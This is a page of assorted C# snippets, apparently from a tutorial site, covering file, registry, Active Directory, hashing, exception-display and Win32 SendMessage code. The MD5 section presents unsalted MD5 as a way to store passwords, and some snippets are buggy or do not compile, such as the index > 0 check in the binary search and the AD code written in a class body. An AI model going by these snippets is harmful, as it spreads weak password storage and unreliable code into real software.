          string directoryString = 
             Directory.GetCurrentDirectory() +
             @"\TestDir";
          Directory.CreateDirectory (directoryString);
          Console.WriteLine ("Created: {0}", directoryString);
          Directory.Delete (directoryString);
          Console.WriteLine ("Deleted: {0}", directoryString);
       }
    }
    

    Clear Internet Explorer cache

    This C# code snippet deletes all the Temporary Internet files, i.e. clears the Internet Explorer cache.
    using System;
    using System.IO; 
    
    void clearIECache()
    {
       ClearFolder (new DirectoryInfo (Environment.GetFolderPath
          (Environment.SpecialFolder.InternetCache)));
    }
     
    void ClearFolder (DirectoryInfo folder)
    {
       foreach (FileInfo file in folder.GetFiles())
          { file.Delete(); }
       foreach (DirectoryInfo subfolder in folder.GetDirectories())
          { ClearFolder(subfolder); }
    }
     
    public static void Main( )
    {
       new Test().clearIECache ();
    }
    

    Create Group Object

    This C# code snippet creates a Group Object in Active Directory.
    using System.DirectoryServices;
    using System.Reflection;
     
    public class ADGroup
    {
     
       private String ADGRPOUP = "group";
     
       // Grouptype-Definition 
       enum GrpType : uint
       {
          UnivGrp = 0x08,
          DomLocalGrp = 0x04,
          GlobalGrp = 0x02,
          SecurityGrp = 0x80000000
       }
     
       DirectoryEntry ent = new DirectoryEntry("LDAP://RootDSE");
       String str = (String)ent.Properties["defaultNamingContext"][0];
       deAD = new DirectoryEntry("LDAP://" + str);
       GrpType gt = GrpType.GlobalGrp | GrpType.SecurityGrp;
       int typeNum = (int)gt; 
       DirectoryEntry ou = deAD.Children.Find("OU=Users");
       DirectoryEntry group = ou.Children.Add("cn=myGroupName", ADGRPOUP );
       group.Properties["sAMAccountName"].Add("myGroupName");
       group.Properties["description"].Add(" description myGroupName");
       group.Properties["groupType"].Add(typeNum);
       group.CommitChanges();
    }
    

    Search array with binary search

    This C# code snippet searches an array of integers using a binary search.

    using System;
    class ArrayBinarySearch
    {
    public static void Main()
    {
    int[] ints = {0, 10, 100, 1000, 1000000 };
    Console.WriteLine ("Array indices and elements: ");
    for (int i = 0; i < ints.Length; i++ )
    {
    Console.Write("[{0}]={1, -5}", i, ints[i]);
    }
    Console.WriteLine();
    FindObject (ints, 25);
    FindObject (ints, 1000);
    FindObject (ints, 2000000);
    }
    public static void FindObject (Array array, Object o)
    {
    int index = Array.BinarySearch (array, 0, array.Length, o);
    Console.WriteLine();
    if (index > 0 )
    {
    Console.WriteLine ("Object: {0} found at [{1}]", o, index );
    }
    else if (~index == array.Length )
    {
    Console.WriteLine ("Object: {0} not found. "
    + "No array object has a greater value." , o);
    Console.WriteLine ();
    }
    else
    {
    Console.WriteLine ("Object: {0} not found. "
    + "Next larger object found at [{1}].", o, ~index);
    }
    }
    }

    Get NetBIOS and DNS computer names

    This C# code snippet obtains the NetBIOS and DNS computer names of the local computer.
    using System;
     
    static string GetLocalHostName ()
    {
       string netBiosName = System.Environment.MachineName;
       //return netBiosName;
     
       // Following method is deprecated
       // string dnsName = 
       //   System.Net.Dns.GetHostByName("LocalHost").HostName;
     
       string dnsName = System.Net.Dns.GetHostName();
       return dnsName;
    }
    

    Format the date and time

    This C# code snippet displays the date and time in various formats.
    using System;
    using C = System.Console; 
    ...
     
    static void Main() {
       DateTime dateTime = DateTime.Now;
       C.WriteLine ("d = {0:d}", dateTime );  // mm/dd/yyyy
       C.WriteLine ("D = {0:D}", dateTime );  // month dd, yyyy
       C.WriteLine ("f = {0:f}", dateTime );  // day, month dd, yyyy hh:mm 
       C.WriteLine ("F = {0:F}", dateTime );  // day, month dd, yyyy HH:mm:ss AM/PM 
       C.WriteLine ("g = {0:g}", dateTime );  // mm/dd/yyyy HH:mm
       C.WriteLine ("G = {0:G}", dateTime );  // mm/dd/yyyy hh:mm:ss
       C.WriteLine ("M = {0:M}", dateTime );  // month dd
       C.WriteLine ("R = {0:R}", dateTime );  // ddd Month yyyy hh:mm:ss GMT
       C.WriteLine ("s = {0:s}", dateTime );  // yyyy-mm-dd hh:mm:ss (Sortable)
       C.WriteLine ("t = {0:t}", dateTime );  // hh:mm AM/PM
       C.WriteLine ("T = {0:T}", dateTime );  // hh:mm:ss AM/PM
     
       // yyyy-mm-dd hh:mm:ss (Sortable)
       C.WriteLine ("u = {0:u}", dateTime );  
     
       // day, month dd, yyyy hh:mm:ss AM/PM
       C.WriteLine ("U = {0:U}", dateTime );
     
       // month, yyyy (March, 2006)
       C.WriteLine ("Y = {0:Y}", dateTime );  
       C.WriteLine ("Month = " + dateTime.Month); // month number (3)
     
       // day of week name (Friday)
       C.WriteLine ("Day Of Week = " + dateTime.DayOfWeek);     
     
       // 24 hour time (16:12:11)
       C.WriteLine ("Time Of Day = " + dateTime.TimeOfDay);     
     
       // (632769991310000000)
       C.WriteLine("DateTime.Ticks = " + dateTime.Ticks);   
       // Ticks are the number of 100 nanosecond intervals since 01/01/0001 12:00am
       // Ticks are useful in elapsed time measurement.
       }
    

    Create a MD5 Hash from a string

    This C# code snippet creates a MD5 hash—a 32-character string of hexadecimal numbers—from a string. Passwords are commonly stored in databases as a hash code.

    Call the following code with this method call:
    string md5hash = CreateMD5Hash
       ("abcdefghijklmnopqrstuvwxyz");
    
    md5hash will contain this string: "C3FCD3D76192E4007DFB496CCA67E13B".
    using System;
     
    public string CreateMD5Hash (string input)
    {
       // Use input string to calculate MD5 hash
       MD5 md5 = System.Security.Cryptography.MD5.Create();
       byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes (input);
       byte[] hashBytes  = md5.ComputeHash (inputBytes);
     
       // Convert the byte array to hexadecimal string
       StringBuilder sb = new StringBuilder();
       for (int i = 0; i < hashBytes.Length; i++)
       {
           sb.Append (hashBytes[i].ToString ("X2"));
           // To force the hex string to lower-case letters instead of
           // upper-case, use he following line instead:
           // sb.Append(hashBytes[i].ToString("x2")); 
       }
       return sb.ToString();
    }
    
    Located in the System.Web.Security namespace, this class can also be used:
    FormsAuthentication.HashPasswordForStoringInConfigFile (string, "MD5")
    

    Convert Fahrenheit and Celsius

    This C# code snippet converts temperatures between the two major temperature scales—Fahrenheit and Celsius.
    using System;
    
    public static double CelsiusToFahrenheit 
       (string temperatureCelsius)
    {
       double celsius = System.Double.Parse (temperatureCelsius);
       return (celsius * 9 / 5) + 32; 
    }
     
    public static double FahrenheitToCelsius 
       (string temperatureFahrenheit)
    {
       double fahrenheit = System.Double.Parse (temperatureFahrenheit);
       return (fahrenheit - 32) * 5 / 9;
    }
    

    Cast an object to an interface

    This C# code snippet shows how to test the specified object in order to determine whether or not it implements a particular interface. Although an interface cannot be instantiated directly, an interface can be treated polymorphically by casting an object which implements the interface to the interface type. Then, the actual runtime type of the object can be ignored; and, the object will appear to be an instantiated interface. The first option is to simply cast the object reference to an interface
    ICloneable iCloneable = (ICloneable) new TheObject();
    

    Unfortunately, if the object does not implement that particular interface, a runtime error of System.InvalidCastException will be thrown. You could catch that exception and take appropriate action; but, that is both bad practice and inefficient.

    The second option is to use the is operator which returns true if the object can be safely cast to the specified type:
    using System;
    TheObject theObject = new TheObject();  
    if (theObject is ICloneable)
    {
       ICloneable iCloneable = (ICloneable) theObject;  
    }
    else
    {
       console.WriteLine ("Interface unsupported");
    }
    
    The third option is to use the as operator which will either cast the object to the specified type or return a null if the cast would be invalid.
    ICloneable iCloneable = new TheObject() as ICloneable;
    if (iCloneable != null)
    {
       iCloneable.Clone();   // access interface member
    }
    else
    {
       console.WriteLine ("Interface unsupported");
    }
    

    Call with variable arguments

    This C# code snippet uses the params keyword to implement a method which can be called with a variable number of arguments.
    using System;
     
    static void ListArguments (params object[] arguments)
    {
       foreach (object argument in arguments)
       {
          Console.WriteLine (argument);
       }
    }
     
    public static void Main( )
    {
       ListArguments ("Arguments: ", DateTime.Now, 3.14f);
    }
    

    Calculate Fibonacci number

    This C# code snippet calculates a Fibonacci number using recursion, i.e., the Fibonacci method calls itself when necessary.
    using System;
    static int Fibonacci (int x)
    {
       Console.WriteLine ("x = {0}", x);
       if (x <= 1)
       {
          return x;
       }
       return Fibonacci (x-1) + Fibonacci (x-2);
    }
      
    static void Main( )
    {
       Console.WriteLine ("Fibonacci no. = {0}", Fibonacci (5));
       Console.ReadKey();
    }
    

    Write a Registry key

    This C# code snippet writes a key to the Windows Registry.
    using Microsoft.Win32;
    
    RegistryKey masterKey = Registry.LocalMachine.CreateSubKey
       ("SOFTWARE\\Test\\customkey");
    if (masterKey == null)
    {
       Console.WriteLine ("Null Masterkey!");
    }
    else
    {
       try
       {
          masterKey.SetValue ("MyKey", "MyValue");
       }
       catch (Exception ex)
       {
          Console.WriteLine (ex.Message);
       }
       finally
       { 
          masterKey.Close();
       }
    }
    

    Read a Registry key

    This C# code snippet reads a key from the Windows Registry.
    using Microsoft.Win32;
    
    RegistryKey masterKey = Registry.LocalMachine.CreateSubKey 
       ("SOFTWARE\\Test\\customkey");
    if (masterKey == null)
    {
       Console.WriteLine ("Null Masterkey!");
    }
    else
    {
       Console.WriteLine ("MyKey = {0}", masterKey.GetValue ("MyKey"));
    }
    masterKey.Close();
    

    Structured Exception Handling (SEH Class)

    //Structured Exception Handling (SEH Class) 
    //Usage: Choose the output type = SEH.OutType(MessageBox); 
    //Throw using  (Exception ex,String Msg); 
         
        using System; 
         
        namespace SEH 
        { 
         public enum Output { Console=101, Debug, Messagebox, Dialog }; 
         
         static partial class SEH 
         { 
         
         private static int disp; 
         
         // Exception Output Display type 
         public static void OutType(Output val) 
         { 
         disp = Convert.ToInt32(val); 
         } 
         
         // Exception Data 
         public static void EX_Data(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Data); } 
         if (disp == 102) { System.Diagnostics.Debug.Print("\nEXCEPTION Data: [ " + EXC.Data.ToString() + " ]"); } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Data, "EXCEPTION : [ Data ]", System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Hand); 
         } 
         } 
         
         // Exception Data with User Message 
         public static void EX_Data(Exception EXC, String Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Data + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("\nEXCEPTION Data: [ " 
         + EXC.Data.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Data + "\n \"" + Message + "\"", "EXCEPTION : [ Data ]", 
         System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Hand); 
         } 
         } 
         
         // Exception Description 
         public static void EX_Msg(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Message); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print( 
         "EXCEPTION Message: \"" + EXC.Message.ToString() + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Message, "EXCEPTION : [ Message ]", System.Windows.Forms.MessageBoxButtons. 
         OK, System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Exception Description With Message 
         public static void EX_Msg(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Message + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print( 
         "EXCEPTION Message: \"" + EXC.Message.ToString() + "\"" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Message + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Message ]", System.Windows.Forms.MessageBoxButtons. 
         OK, System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Inner Exception 
         public static void EX_Inner(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.InnerException); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION InnerException: [ " + 
         EXC.InnerException.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.InnerException, "EXCEPTION : [ Innerexception ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Inner Exception with Message 
         public static void EX_Inner(Exception EXC, String Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.InnerException + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         if (EXC.InnerException != null) 
         System.Diagnostics.Debug.Print("EXCEPTION InnerException: [ " + 
         EXC.InnerException.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.InnerException + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Innerexception ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Exception Help Link 
         public static void EX_Help(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.HelpLink); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION HelpLink: [ " + 
         EXC.HelpLink.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.HelpLink, "EXCEPTION : [ Helplink ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Warning); 
         } 
         } 
         
         // Exception Help Link with user maeeage 
         public static void EX_Help(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.HelpLink + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         if (EXC.HelpLink != null) 
         System.Diagnostics.Debug.Print("EXCEPTION HelpLink: [ " + EXC.HelpLink.ToString() + " ]" + "\n\" " + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.HelpLink + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Helplink ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Warning); 
         } 
         } 
         
         // Exception Source 
         public static void EX_Source(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Source); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION Source: [ " + 
         EXC.Source.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Source, "EXCEPTION : [ Source ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Asterisk); 
         } 
         } 
         
         // Exception Source with Message 
         public static void EX_Source(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Source + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION Source: [ " + 
         EXC.Source.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Source + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Source ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Asterisk); 
         } 
         } 
         
         // Dxception target 
         public static void EX_Target(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.TargetSite); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION TargetSize: [ " + 
         EXC.TargetSite.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.TargetSite, 
         "EXCEPTION : [ TargetSize ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Error); 
         } 
         } 
         
         // Exception Target with Message 
         public static void EX_Target(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.TargetSite + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION TargetSize: [ " + 
         EXC.TargetSite.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.TargetSite + "\n \"" + Message + "\"", 
         "EXCEPTION : [ TargetSize ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Error); 
         } 
         } 
         
         // Exception Trace 
         public static void EX_Trace(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.StackTrace); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION StackTrace: [ " + 
         EXC.StackTrace.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.StackTrace, "EXCEPTION : [ StackTrace ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Stop); 
         } 
         } 
         
         // Exception tace with Message 
         public static void EX_Trace(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.StackTrace + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION StackTrace: [ " + 
         EXC.StackTrace.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.StackTrace + "\n \"" + Message + "\"", 
         "[" + Message + "]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Stop); 
         } 
         } 
         
         // All Exception 
         public static void EX_All(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.ToString()); } 
         if (disp == 102) { System.Diagnostics.Debug.Print("EXCEPTION StackTrace: [ " + EXC.ToString() + " ]"); } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.ToString(), 
         "EXCPTION : [ INFO ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         //Catches every type of exception(shows TypeInfo) 
         public static void _typo(Exception EXC) 
         { 
         
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.GetType(), //+  @"\nHashCode:"+ EXC.GetHashCode(), 
         "EXCPTION : [" + EXC.GetType() + "]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         
         
         } 
        } 
    
    

    Send Message API Class

    Sends the specified message to a window or windows.

    It uses P/Invoke that allows you to access structs, callbacks, and functions in unmanaged libraries from your managed code.

    SendMessage function

    The SendMessage function calls the window procedure for the specified window and does not return until the window procedure has processed the message.

    SendMessage (int hwnd, int wMsg, int wParam, int lParam); 

    Parameters

    hWnd

    Type: HWND

    A handle to the window whose window procedure will receive the message. If this parameter is HWND_BROADCAST ((HWND)0xffff), the message is sent to all top-level windows in the system, including disabled or invisible unowned windows, overlapped windows, and pop-up windows; but the message is not sent to child windows.

    Message sending is subject to UIPI. The thread of a process can send messages only to message queues of threads in processes of lesser or equal integrity level.

    Msg

    Type: UINT

    The message to be sent. For lists of the system-provided messages, see System-Defined Messages.

    wParam

    Type: WPARAM

    Additional message-specific information.

    lParam

    Type: LPARAM

    Additional message-specific information.

    Here is the implementation of it using C# with PInvoke

    //Send Message API Class
    //send Message Win32 Ap interop 
         
    using System.Runtime.InteropServices; 
    
    namespace KillerCodes.win32.API 
    { 
    
        public static class WIN32_API 
        { 
    
            [DllImport("user32.dll", EntryPoint="SendMessageW")] 
            private static extern int SendMessage (int hwnd, int wMsg, int wParam, int lParam); 
    
            [DllImport("user32.dll", EntryPoint = "SendMessageW")] 
            private static extern int SendMessageFL(int hwnd, int wMsg, int wParam, string lParam); 
    
            [DllImport("user32.dll", EntryPoint = "SendMessageW")] 
            private static extern int SendMessageSD(int hwnd, int wMsg, string wParam, int lParam); 
    
            public enum WM : int 
            { 
                WM_ACTIVATE = 0x6, 
                WM_ACTIVATEAPP = 0x1C, 
                WM_ADSPROP_NOTIFY_APPLY = (WM_USER + 1104), 
                WM_USER = 0x400, 
                WM_ADSPROP_NOTIFY_CHANGE = (WM_USER + 1103), 
                WM_ADSPROP_NOTIFY_EXIT = (WM_USER + 1107), 
                WM_ADSPROP_NOTIFY_FOREGROUND = (WM_USER + 1106), 
                WM_ADSPROP_NOTIFY_PAGEHWND = (WM_USER + 1102), 
                WM_ADSPROP_NOTIFY_PAGEINIT = (WM_USER + 1101), 
                WM_ADSPROP_NOTIFY_SETFOCUS = (WM_USER + 1105), 
                WM_ADSPROP_NOTIFY_SHOW_ERROR_DIALOG = (WM_USER + 1111), 
                WM_AFXFIRST = 0x360, 
                WM_AFXLAST = 0x37F, 
                WM_APP = 0x8000, 
                WM_APPCOMMAND = 0x319, 
                WM_ASKCBFORMATNAME = 0x30C, 
                WM_CANCELJOURNAL = 0x4B, 
                WM_CANCELMODE = 0x1F, 
                WM_CAP_ABORT = (WM_CAP_START+ 69), 
                WM_CAP_START = WM_USER, 
                WM_CAP_DLG_VIDEOCOMPRESSION = (WM_CAP_START+ 46), 
                WM_CAP_DLG_VIDEODISPLAY = (WM_CAP_START+ 43), 
                WM_CAP_DLG_VIDEOFORMAT = (WM_CAP_START+ 41), 
                WM_CAP_DLG_VIDEOSOURCE = (WM_CAP_START+ 42), 
                WM_CAP_DRIVER_CONNECT = (WM_CAP_START+ 10), 
                WM_CAP_DRIVER_DISCONNECT = (WM_CAP_START+ 11), 
                WM_CAP_DRIVER_GET_CAPS = (WM_CAP_START+ 14), 
                WM_CAP_DRIVER_GET_NAMEA = (WM_CAP_START+ 12), 
                WM_CAP_DRIVER_GET_NAMEW = (WM_CAP_UNICODE_START+ 12), 
                WM_CAP_UNICODE_START = WM_USER+100, 
                WM_CAP_DRIVER_GET_VERSIONA = (WM_CAP_START+ 13), 
                WM_CAP_DRIVER_GET_VERSIONW = (WM_CAP_UNICODE_START+ 13), 
                WM_CAP_EDIT_COPY = (WM_CAP_START+ 30), 
                WM_CAP_END = WM_CAP_UNICODE_END, 
                WM_CAP_UNICODE_END = WM_CAP_PAL_SAVEW, 
                WM_CAP_FILE_ALLOCATE = (WM_CAP_START+ 22), 
                WM_CAP_FILE_GET_CAPTURE_FILEA = (WM_CAP_START+ 21), 
                WM_CAP_FILE_GET_CAPTURE_FILEW = (WM_CAP_UNICODE_START+ 21), 
                WM_CAP_FILE_SAVEASA = (WM_CAP_START+ 23), 
                WM_CAP_FILE_SAVEASW = (WM_CAP_UNICODE_START+ 23), 
                WM_CAP_FILE_SAVEDIBA = (WM_CAP_START+ 25), 
                WM_CAP_FILE_SAVEDIBW = (WM_CAP_UNICODE_START+ 25), 
                WM_CAP_FILE_SET_CAPTURE_FILEA = (WM_CAP_START+ 20), 
                WM_CAP_FILE_SET_CAPTURE_FILEW = (WM_CAP_UNICODE_START+ 20), 
                WM_CAP_FILE_SET_INFOCHUNK = (WM_CAP_START+ 24), 
                WM_CAP_GET_AUDIOFORMAT = (WM_CAP_START+ 36), 
                WM_CAP_GET_CAPSTREAMPTR = (WM_CAP_START+ 1), 
                WM_CAP_GET_MCI_DEVICEA = (WM_CAP_START+ 67), 
                WM_CAP_GET_MCI_DEVICEW = (WM_CAP_UNICODE_START+ 67), 
                WM_CAP_GET_SEQUENCE_SETUP = (WM_CAP_START+ 65), 
                WM_CAP_GET_STATUS = (WM_CAP_START+ 54), 
                WM_CAP_GET_USER_DATA = (WM_CAP_START+ 8), 
                WM_CAP_GET_VIDEOFORMAT = (WM_CAP_START+ 44), 
                WM_CAP_GRAB_FRAME = (WM_CAP_START+ 60), 
                WM_CAP_GRAB_FRAME_NOSTOP = (WM_CAP_START+ 61), 
                WM_CAP_PAL_AUTOCREATE = (WM_CAP_START+ 83), 
                WM_CAP_PAL_MANUALCREATE = (WM_CAP_START+ 84), 
                WM_CAP_PAL_OPENA = (WM_CAP_START+ 80), 
                WM_CAP_PAL_OPENW = (WM_CAP_UNICODE_START+ 80), 
                WM_CAP_PAL_PASTE = (WM_CAP_START+ 82), 
                WM_CAP_PAL_SAVEA = (WM_CAP_START+ 81), 
                WM_CAP_PAL_SAVEW = (WM_CAP_UNICODE_START+ 81), 
                WM_CAP_SEQUENCE = (WM_CAP_START+ 62), 
                WM_CAP_SEQUENCE_NOFILE = (WM_CAP_START+ 63), 
                WM_CAP_SET_AUDIOFORMAT = (WM_CAP_START+ 35), 
                WM_CAP_SET_CALLBACK_CAPCONTROL = (WM_CAP_START+ 85), 
                WM_CAP_SET_CALLBACK_ERRORA = (WM_CAP_START+ 2), 
                WM_CAP_SET_CALLBACK_ERRORW = (WM_CAP_UNICODE_START+ 2), 
                WM_CAP_SET_CALLBACK_FRAME = (WM_CAP_START+ 5), 
                WM_CAP_SET_CALLBACK_STATUSA = (WM_CAP_START+ 3), 
                WM_CAP_SET_CALLBACK_STATUSW = (WM_CAP_UNICODE_START+ 3), 
                WM_CAP_SET_CALLBACK_VIDEOSTREAM = (WM_CAP_START+ 6), 
                WM_CAP_SET_CALLBACK_WAVESTREAM = (WM_CAP_START+ 7), 
                WM_CAP_SET_CALLBACK_YIELD = (WM_CAP_START+ 4), 
                WM_CAP_SET_MCI_DEVICEA = (WM_CAP_START+ 66), 
                WM_CAP_SET_MCI_DEVICEW = (WM_CAP_UNICODE_START+ 66), 
                WM_CAP_SET_OVERLAY = (WM_CAP_START+ 51), 
                WM_CAP_SET_PREVIEW = (WM_CAP_START+ 50), 
                WM_CAP_SET_PREVIEWRATE = (WM_CAP_START+ 52), 
                WM_CAP_SET_SCALE = (WM_CAP_START+ 53), 
                WM_CAP_SET_SCROLL = (WM_CAP_START+ 55), 
                WM_CAP_SET_SEQUENCE_SETUP = (WM_CAP_START+ 64), 
                WM_CAP_SET_USER_DATA = (WM_CAP_START+ 9), 
                WM_CAP_SET_VIDEOFORMAT = (WM_CAP_START+ 45), 
                WM_CAP_SINGLE_FRAME = (WM_CAP_START+ 72), 
                WM_CAP_SINGLE_FRAME_CLOSE = (WM_CAP_START+ 71), 
                WM_CAP_SINGLE_FRAME_OPEN = (WM_CAP_START+ 70), 
                WM_CAP_STOP = (WM_CAP_START+ 68), 
                WM_CAPTURECHANGED = 0x215, 
                WM_CHANGECBCHAIN = 0x30D, 
                WM_CHANGEUISTATE = 0x127, 
                WM_CHAR = 0x102, 
                WM_CHARTOITEM = 0x2F, 
                WM_CHOOSEFONT_GETLOGFONT = (WM_USER + 1), 
                WM_CHOOSEFONT_SETFLAGS = (WM_USER + 102), 
                WM_CHOOSEFONT_SETLOGFONT = (WM_USER + 101), 
                WM_CLEAR = 0x303, 
                WM_CLOSE = 0x10, 
                WM_COMMAND = 0x111, 
                WM_COMMNOTIFY = 0x44, 
                WM_COMPACTING = 0x41, 
                WM_COMPAREITEM = 0x39, 
                WM_CONTEXTMENU = 0x7B, 
                WM_CONVERTREQUEST = 0x10A, 
                WM_CONVERTREQUESTEX = 0x108, 
                WM_CONVERTRESULT = 0x10B, 
                WM_COPY = 0x301, 
                WM_COPYDATA = 0x4A, 
                WM_CPL_LAUNCH = (WM_USER+1000), 
                WM_CPL_LAUNCHED = (WM_USER+1001), 
                WM_CREATE = 0x1, 
                WM_CTLCOLOR = 0x19, 
                WM_CTLCOLORBTN = 0x135, 
                WM_CTLCOLORDLG = 0x136, 
                WM_CTLCOLOREDIT = 0x133, 
                WM_CTLCOLORLISTBOX = 0x134, 
                WM_CTLCOLORMSGBOX = 0x132, 
                WM_CTLCOLORSCROLLBAR = 0x137, 
                WM_CTLCOLORSTATIC = 0x138, 
                WM_CUT = 0x300, 
                WM_DDE_FIRST = 0x3E0, 
                WM_DDE_ACK = (WM_DDE_FIRST + 4), 
                WM_DDE_ADVISE = (WM_DDE_FIRST + 2), 
                WM_DDE_DATA = (WM_DDE_FIRST + 5), 
                WM_DDE_EXECUTE = (WM_DDE_FIRST + 8), 
                WM_DDE_INITIATE = (WM_DDE_FIRST), 
                WM_DDE_LAST = (WM_DDE_FIRST + 8), 
                WM_DDE_POKE = (WM_DDE_FIRST + 7), 
                WM_DDE_REQUEST = (WM_DDE_FIRST + 6), 
                WM_DDE_TERMINATE = (WM_DDE_FIRST + 1), 
                WM_DDE_UNADVISE = (WM_DDE_FIRST + 3), 
                WM_DEADCHAR = 0x103, 
                WM_DELETEITEM = 0x2D, 
                WM_DESTROY = 0x2, 
                WM_DESTROYCLIPBOARD = 0x307, 
                WM_DEVICECHANGE = 0x219, 
                WM_DEVMODECHANGE = 0x1B, 
                WM_DISPLAYCHANGE = 0x7E, 
                WM_DRAWCLIPBOARD = 0x308, 
                WM_DRAWITEM = 0x2B, 
                WM_DROPFILES = 0x233, 
                WM_ENABLE = 0xA, 
                WM_ENDSESSION = 0x16, 
                WM_ENTERIDLE = 0x121, 
                WM_ENTERMENULOOP = 0x211, 
                WM_ENTERSIZEMOVE = 0x231, 
                WM_ERASEBKGND = 0x14, 
                WM_EXITMENULOOP = 0x212, 
                WM_EXITSIZEMOVE = 0x232, 
                WM_FONTCHANGE = 0x1D, 
                WM_FORWARDMSG = 0x37F, 
                WM_GETDLGCODE = 0x87, 
                WM_GETFONT = 0x31, 
                WM_GETHOTKEY = 0x33, 
                WM_GETICON = 0x7F, 
                WM_GETMINMAXINFO = 0x24, 
                WM_GETOBJECT = 0x3D, 
                WM_GETTEXT = 0xD, 
                WM_GETTEXTLENGTH = 0xE, 
                WM_HANDHELDFIRST = 0x358, 
                WM_HANDHELDLAST = 0x35F, 
                WM_HELP = 0x53, 
